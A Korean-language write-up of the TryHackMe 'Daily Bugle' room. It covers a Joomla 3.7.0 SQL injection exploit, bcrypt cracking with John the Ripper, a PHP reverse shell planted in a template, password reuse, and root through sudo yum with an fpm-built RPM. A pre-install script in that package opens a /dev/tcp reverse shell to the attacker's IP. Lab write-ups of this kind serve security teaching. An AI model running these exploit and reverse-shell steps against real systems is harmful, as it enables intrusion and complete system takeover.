[PenTesting] Daily Bugle Writeup @TryHackMe
Target: Daily Bugle @TryHackMe
Core Techniques: Joomla CMS SQLi Exploit, Password Hash Cracking, Reverse Connection, Privilege Escalation via Yum
Target IP: 10.10.203.47
Reconnaissance
nmap -Pn -p 22,80,443 -sC -T4 -sV -oN dailybugle.nmap 10.10.203.47
먼저 Nmap을 통해 대상 시스템에 열린 포트를 스캔한다. 그 결과, 대상 시스템에는 22, 80번 포트가 열려있으며, 아래 그림에서 보듯 대상 시스템에서 구동 중인 웹앱의 robots.txt를 통해 15개의 엔트리에 대해 크롤러가 접근하지 못하도록 규칙을 설정한 것을 확인할 수 있다.
먼저 /etc/hosts 파일을 통해 대상 시스템의 IP와 dailybugle.thm이라는 호스트를 맵핑한다. 그 후, 브라우저를 통해 대상 시스템의 80번 포트에 접속해보면, 그 결과는 아래와 같다.
이후, robots.txt의 내용 중, 관리자 대시보드의 경로로 유추되는 /administrator로 접근해본다. 그 결과, 대상 웹앱이 Joomla CMS로 구동 중인 것을 아래 그림을 통해 확인할 수 있다.
joomscan --url http://dailybugle.thm
위 명령어를 입력하여, 대상 웹앱에서 구동 중인 CMS에 대한 정보들을 수집한다. 그 결과, 대상 CMS는 Joomla 3.7.0 버전인 것을 아래 그림을 통해 확인할 수 있다.
혹은 Joomla 설치 시에 기본적으로 설치되며, Joomla에 대한 메타데이터가 담긴 /administrator/manifests/files/joomla.xml 파일을 통해 대상 CMS의 버전 정보를 획득할 수 있다.
이후 searchsploit 통해 joomla 3.7.0에 대한 exploit 코드를 찾는다. 그 결과, com_fileds와 관련된 SQLi 취약점을 악용하는 파일이 존재하는 것을 확인할 수 있다.
해당 파일의 내용을 확인해보면 다음의 URL이 SQLi에 취약한 것을 확인할 수 있다.
http://dailybugle.thm/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml
또한 위 URL 중, list[fullordering] 파라미터가 SQLi에 취약하며, boolean-based blind, error-based 종류의 SQLi 취약점을 가지는 것을 아래 그림에서 확인할 수 있다.
python으로 작성된 exploit 코드를 github에서 찾기 위해, Google Dorking을 이용한다. 검색어는 아래와 같다.
Joomla 3.7.0 exploit site:github.com intext:.py
혹은 아래의 URL을 통해 Python Exploit 코드를 확인할 수 있다.
https://github.com/stefanlucas/Exploit-Joomla
GitHub - stefanlucas/Exploit-Joomla: CVE-2017-8917 - SQL injection Vulnerability Exploit in Joomla 3.7.0
CVE-2017-8917 - SQL injection Vulnerability Exploit in Joomla 3.7.0 - GitHub - stefanlucas/Exploit-Joomla: CVE-2017-8917 - SQL injection Vulnerability Exploit in Joomla 3.7.0
github.com
Exploit
그 후, 아래의 과정을 통해 Joomla 3.7.0의 SQLi 취약점을 Exploit 하도록 한다.
git clone https://github.com/stefanlucas/Exploit-Joomla.git
cd Exploit-Joomla
python joombla.py <$Target_URL>
그러면 아래 그림에서 보듯 jonah라는 사용자의 해시화된 비밀번호를 획득할 수 있다.
hashid를 통해 위에서 얻은 해시값에 어떤 해시 알고리즘이 적용되었는지 확인해보면, 아래 그림에서 보듯 가능한 해시 알고리즘으로 총 3가지가 나오는 것을 확인할 수 있다.
더 정확히 확인하기 위해, Google에 검색 시, 해당 해시 알고리즘의 유형은 Bcrypt인 것을 확인할 수 있다.
확인한 해시 알고리즘을 바탕으로 John The Ripper를 사용하여, 해당 해시값을 크랙하도록 한다.
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=bcrypt
그 결과 아래 그림에서 보듯, 해당 해시값의 평문은 spiderman123인 것을 확인할 수 있다.
획득한 평문 비밀번호를 이용하여, Joomla CMS의 관리자 대시보드로 로그인을 시도한다. 로그인 시 아이디는 jonah로 지정하도록 한다.
jonah라는 아이디를 이용하여 관리자 대시보드로 로그인이 가능하고, 또한 해당 유저는 Super User이자 관리자 권한을 가지고 있는 것을 아래 그림에서 확인할 수 있다.
Extensions -> Templates -> Templates 탭으로 이동 후, 아래의 템플릿을 클릭하여 들어간다.
그러면 해당 템플릿의 코드들을 수정할 수 있는데, 그 중, error.php코드를 Reverse Shell 코드로 수정하여, 공격자와 역방향 연결이 될 수 있도록 설정한다.
Reverse Shell 코드는 아래의 웹사이트에서 PHP PentestMonkey 탭을 통해 PHP 환경에 맞는 리버스 쉘 코드를 획득할 수 있다.
Online - Reverse Shell Generator
Online Reverse Shell generator with Local Storage functionality, URI & Base64 Encoding, MSFVenom Generator, and Raw Mode. Great for CTFs.
www.revshells.com
리버스 쉘 코드 내, IP와 Port의 경우, 공격자의 IP와 Netcat을 통해 Listening 하고 있을 포트 번호로 지정해준다.
nc -lvnp 7777
위 명령어를 통해 공격자 측에서 역방향 연결을 대기하고 있고, 그 후, 아래의 URL을 브라우저에 입력하여, 대상 시스템과 역방향 연결을 시도한다.
http://dailybugle.thm/templates/protostar/error.php
위 URL을 브라우저에 입력하여 대상 시스템과 공격자가 역방향 연결에 성공한 것을 아래 그림을 통해 확인할 수 있으며, 현재 공격자의 권한은 apache 사용자로, 일반 인터넷 사용자의 권한을 가진다.
Privilege Escalation
이후, 아래의 명령어를 입력하여 대상 시스템의 쉘 환경을 업그레이드 해준다.
python -c "import pty;pty.spawn('/bin/bash')"
그 후, Apache와 같은 웹서버의 루트 디렉토리인 /var/www/html로 이동하여, 설정 파일이 존재하는지 확인한다. 그 결과, configuration.php라는 설정 파일을 발견할 수 있으며, 해당 파일에는 mysql 콘솔 접속 시에 필요한 Root 사용자의 비밀번호가 나열되어 있다.
대상 시스템에 어떠한 사용자 계정이 존재하는지 확인해보면, 아래 그림에서 보듯, Jonah Jameson이라는 사용자의 계정인 jjameson이 존재하는 것을 확인할 수 있다.
해당 사용자로 로그인 해보도록 한다. 로그인 시 비밀번호는 위 설정 파일에서 획득한 비밀번호를 사용한다. Joomla CMS의 관리자 대시보드 로그인 시에도 확인했듯이, jonah라는 아이디를 가진 사용자가 관리자의 권한을 가진 Super User 였음으로, mysql의 root 비밀번호를 사용 중인 사용자 또한 Jonah Jameson이라는 사용자와 동일한 사용자로, 같은 비밀번호를 시스템 계정에 사용할 확률이 높음을 유추해볼 수 있다.
아래 그림에서 보듯, mysql의 비밀번호를 통해 jjameson 계정으로 로그인이 가능함을 확인할 수 있다.
sudo -l 명령어를 입력하여, 해당 사용자가 어떠한 명령어를 관리자 권한(sudo)으로 실행할 수 있는지 확인해보면, 아래 그림에서 보듯, 패키지 관리자인 yum을 비밀번호 없이(NOPASSWD) 관리자 권한으로 실행 가능한 것을 확인할 수 있다.
yum은 패키지 관리자로, rpm 파일 확장자를 가진 패키지 파일을 로컬에 설치할 수 있으며, 외부 저장소 뿐만 아닌, localinstall 옵션을 추가하여, 로컬 시스템에 존재하는 rpm 파일 패키지 또한 설치할 수 있다.
그리고 이러한 rpm 패키지 파일은 fpm(Effing Package Management) 도구를 통해 쉽게 제작할 수 있다.
또한 --before-install <file> 옵션을 통해 패키지 설치 전에 file을 실행할 수 있다.
따라서 공격자가 yum을 악용하여 권한 상승을 하기 위해서는 리버스 쉘 스크립트를 작성하고, 이를 --before-install 옵션을 통해 패키지 설치 전에 실행할 수 있도록 하며, rpm 패키지 파일은 fpm 도구를 통해 생성하고, 생성된 파일을 대상 시스템에 다운로드하여, sudo yum을 통해 공격자는 권한 상승이라는 목적을 달성할 수 있다.
yum에 관한 더 다양한 권한 상승 방법은 아래의 권한 상승 기법 참고 사이트인 GTFOBins를 통해 확인 가능하다.
https://gtfobins.github.io/gtfobins/yum/
yum | GTFOBins
Fetch a remote file via HTTP GET request. The file on the remote host must have an extension of .rpm, the content does not have to be an RPM file. The file will be downloaded to a randomly created directory in /var/tmp, for example /var/tmp/yum-root-cR0O4h
gtfobins.github.io
위에서 설명한 해당 과정을 담은 코드는 아래와 같다.
# fpm 설치
gem install fpm
# Reverse Shell Script 작성
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/10.4.97.210/9999 0>&1' > rev.sh
# rpm 패키지 파일 생성
fpm -n rev -s dir -t rpm -a all --before-install rev.sh .
# 공격자 웹서버 구동
python -m http.server 8888
wget을 통해 공격자 웹서버에 업로드되어 있는 rpm 패키지 파일을 대상 서버에 다운로드 한 후, 먼저 공격자 측에서 nc -lvnp 9999 명령어를 입력하여, 역방향 연결을 대기하고 있은 후, 아래의 명령어를 입력하여, yum을 이용해 rpm 패키지를 설치하도록 하여, 실제적으로 설치가 이루어지기 전에 해당 패키지 안에 존재하는 리버스 쉘 스크립트가 먼저 실행되도록 만든다.
sudo yum localinstall rev-1.0-1.noarch.rpm
sudo yum을 이용한 위 명령어 실행 후, 공격자 측에서 대기중이던 쉘로 돌아가 확인해보면, 아래 그림에서 보듯 Linux 계열의 시스템에서 최상위 권한을 가진 사용자인 Root 유저로 공격자의 권한이 상승된 것을 확인할 수 있다.